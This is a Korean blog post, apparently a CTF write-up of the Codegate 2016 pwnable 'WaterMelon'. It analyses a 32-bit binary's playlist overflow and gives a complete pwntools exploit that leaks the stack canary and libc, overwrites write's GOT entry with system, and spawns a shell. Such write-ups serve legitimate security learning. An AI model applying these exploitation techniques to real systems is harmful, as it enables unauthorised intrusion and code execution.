본문 바로가기

CTFs/CodaGate PreQual 2016

[Codegate 2016] pwnable : WaterMelon

CodeGate 2016 Write Ups


시간이 없어 대회에 참가를 못해서 당일 문제를 풀지 못했는데 ( 물론 청소년은 아님 ), 셤이 끝나 좀 여유가 생겨 잉여잉여 롸업을 써보려 합니다 ㅋㅋㅋ


일단 주위 아이들?! 에게 물어본 결과 WaterMelon 문제가 쉽다고 시간안에 건들어 볼 수 있었던 문제가 이거였다고 하니 이것부터 풀어보죠!


문제푼 환경은 x86-64 Ubuntu 16.04 환경을 기준으로 합니다.


WaterMelon

1
2
3
4
5
6
7
8
9
zero@ubuntu:~/Desktop/ctf/cg2016$ file Watermelon
Watermelon: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked
zero@ubuntu:~/Desktop/ctf/cg2016$ gdb -q ./Watermelon
gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
cs

일단 32비트 실행파일이고요 메모리 프로텍션은 까나리?! 하고 NX 정도 결려 있으니 ROP ROP ROP ROP ROP 하면 해결되겠군요.

1
2
3
4
5
6
7
8
9
10
11
12
13
zero@ubuntu:~/Desktop/ctf/cg2016$ ./Watermelon
Input your name : 
zero
        WELCOME zero
-----------------------------------------------------
            WaterMelon
-----------------------------------------------------
        1. Add playlist
        2. View playlist
        3. Modify playlist
        4. Exit
-----------------------------------------------------
    select    |
cs

음 대충 실행해 본 결과 그냥 평범한 음악관리 프로그램 같습네다. 

그럼 한번 ida 로 까보겠습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int main() {
  canary = *MK_FP(__GS__, 20);
  memset(&buffer, 0, 4400u);
  limit = 0;
  setvbuf(stdout, 010);
  puts("Input your name : ");
  __isoc99_scanf("%s"&name);
  printf("\t\tWELCOME %s\n", name); puts("\n\n\n\n");
  while ( 2 )  {
    switch ( Main_Screen() )    {
      case -1: secret(); continue;
      case 1: add_music(&buffer); continue;
      case 2: music_playlist(&buffer); continue;
      case 3:modify_playlist(&buffer); continue;
      case 4: puts("\t\tBYE BYE\n"); break;
      default:puts("\t\tWRONG INPUT\n\t\tBYE BYE\n"); break;
    }   return *MK_FP(__GS__, 20) ^ canary;  } 
}
cs

일단 buffer 를 4400 사이즈 만큼 0으로 초기화 해 주는군요, 그리고 아래는 메뉴 1~4 까지 받는 부분과

메인 메뉴에서 볼 수 없었던 -1을 입력하면 일종의 secret 창으로 넘어가는 코드를 볼 수 있네용


또한 add_music 함수를 본 결과 44 * limit + ... 를 본 결과 

limit 변수는 리스트 한개를 카운트 하는거고 ( 100 개까지 받을 수 있음 )

그리고 1개의 리스트는 44 바이트의 크기를 가지나 봅니다 . ( 44 * 100 = 4400 딱 맞네요! )

1
2
playlist
[ Index(4| music(20| artist(20 ] ... * 100
cs

그 다음 제일 중요한 취약점!

은 modify_playlist 함수에 artist 를 수정하는 부분에서 20만큼의 사이즈를 읽는게 아니라 

200을 읽어버리면서 overflow 취약점이 존재하게 됩니다.

1
2
3
4
.text:08049A2E                 mov     dword ptr [esp+8], 200 ; nbytes
.text:08049A36                 mov     [esp+4], eax    ; buf
.text:08049A3A                 mov     dword ptr [esp], 0 ; fd
.text:08049A41                 call    _read
cs

그럼 100번째 리스트 artist 에 우리가 원하는 페이로드를 넣어주면 익스플로잇에 성공할 거 같네요

1
2
Stack
[ buffer[44*100| canary[4| dummy[8| sfp[4| ret[4] ]
cs

그럼 대략적인 페이로드를 구상해 보자면.


메뉴 3번 리스트를 수정하는 부분에서 입력받는 함수가 read 함수니 

1. Canary 는 artist 를 20바이트 꽉 채워 NULL 바이트까지 덮어버려 뒤에 바로 나오는 Canary 값까지 한 문자열로 취급하게 해 leaking

2. libc 주소 leaking + 이름을 입력하는 곳에 /bin/sh 를 입력 후 페이로드에

   write(binsh) 같은 코드를 넣고 write 함수를 system 함수로 got overwrite 를 하는 방법

OR

2.  Got Overwrite 대신 RTL!


이정도가 될거 같군요.

전 got overwrite 로 해보겠습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from pwn import *
 
def add_list(music, artist):
    for x in xrange(0100):
        p.recvuntil("select\t|\t\n")
        p.sendline("1")
        p.recvuntil("\tmusic\t|\t")
        p.sendline(music)
        p.recvuntil("artist\t|\t")
        p.sendline(artist)
 
def modify_list(num, music, artist):
    p.recvuntil("select\t|\t\n"
    p.sendline("3")
    p.recvuntil("select number\t|\t\n")
    p.sendline(str(num))
    p.recvuntil("\tmusic\t|\t")
    p.sendline(music)
    p.recvuntil("artist\t|\t")
    p.sendline(artist)
 
def view_list(grep):
    p.recvuntil("select\t|\t\n")
    p.sendline("2")
    p.recvuntil(grep)
    
def exit_list():
    p.recvuntil("select\t|\t\n")
    p.sendline("4")
    p.recvuntil("BYE\n\n")
 
def leak_canary():
    add_list('asdf''asdf')
    modify_list(100'asdf''A'*20)
    view_list('A'*20)
    return "\x00" + p.recv(4)[1:]
 
def leak_libc():
    payload = 'A'*20 + canary + 'AAAA'*3
    payload += p32(b.plt['write'])
    payload += p32(pppr)
    payload += p32(1)
    payload += p32(b.got['write'])
    payload += p32(4# write(1, write_got, 4)
    payload += p32(b.plt['read'])
    payload += p32(pppr)
    payload += p32(0)
    payload += p32(b.got['write'])
    payload += p32(4# read(0, write_got, 4)
    payload += p32(b.plt['write'])
    payload += 'AAAA'
    payload += p32(binsh) # write(binsh)
    
    modify_list(100'asdf', payload)
    exit_list()
 
pppr = 0x8048f0d
binsh = 0x0804d7a0
= ELF("./Watermelon")
write_system = 0x9aef0
 
= process("./Watermelon")
p.recvuntil("name : \n")
p.sendline('/bin/sh')
 
canary = leak_canary()
leak_libc()
write = u32(p.recv(4))
 
print "/********* Stage 1 - Leaking Canary ********"
print "Canary : ", hex(u32(canary))
 
print "/********* Stage 2 - Leaking Libc   ********"
print "Write : ", hex(write)
system = write - write_system
print "System : ", hex(system)
 
print "/********* Stage 3 - Got Overwrite  ********"
p.sendline(p32(system)) # write(binsh) -> system(binsh)
p.interactive()
 
cs

1
2
3
4
5
6
7
8
9
10
11
12
zero@ubuntu:~/Desktop/ctf/cg2016$ python Watermelon.py
[+] Started program './Watermelon'
/********* Stage 1 - Leaking Canary ********
Canary :  0x5aa63d00
/********* Stage 2 - Leaking Libc   ********
Write :  0xf76b7c70
System :  0xf761cd80
/********* Stage 3 - Got Overwrite  ********
[*] Switching to interactive mode
$ id
uid=1000(zero) gid=1000(zero) groups=1000(zero),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
cs

'CTFs > CodaGate PreQual 2016' 카테고리의 다른 글

[Codegate 2016] reversing : compress  (0) 2016.08.27
[Codegate 2016] pwnable : Fl0ppy  (0) 2016.08.27
[Codegate 2016] pwnable : Manager  (0) 2016.08.27